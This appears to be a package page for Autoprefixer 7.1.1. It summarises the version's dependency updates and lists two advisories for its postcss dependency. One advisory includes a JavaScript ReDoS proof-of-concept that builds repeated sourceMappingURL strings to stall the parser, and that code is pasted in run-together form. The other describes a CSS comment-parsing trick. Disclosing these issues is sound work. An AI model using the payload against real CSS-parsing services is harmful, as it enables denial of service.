Autoprefixer 7.1.1 represents a minor iteration over version 7.1.0, primarily involving updates to its dependency tree. A key update lies in the caniuse-lite dependency, moving from version 1.0.30000669 to 1.0.30000670. This implies that the latest version incorporates the most current data regarding browser support for various CSS features, ensuring more accurate and up-to-date vendor prefixing. Another change is related to browserslist,dependency upgraded from 2.1.2 to 2.1.3. Furthermore, there are subtle version bumps in the development dependencies, such as jest (from 20.0.1 to 20.0.3) and lint-staged (from 3.4.1 to 3.4.2). These changes, while not directly impacting the core functionality of Autoprefixer, suggest improvements in the testing and pre-commit workflows, potentially leading to a more stable and reliable development process. For developers using Autoprefixer, upgrading to 7.1.1 is recommended to benefit from the latest browser compatibility data and potential stability improvements offered by the updated development dependencies, ensuring optimal CSS prefixing and a smoother development experience. Considering the package's core function is to apply vendor prefixes based on browser support, keeping up with minor versions ensures you're targeting the right browsers for your audience.
All the vulnerabilities related to the version 7.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.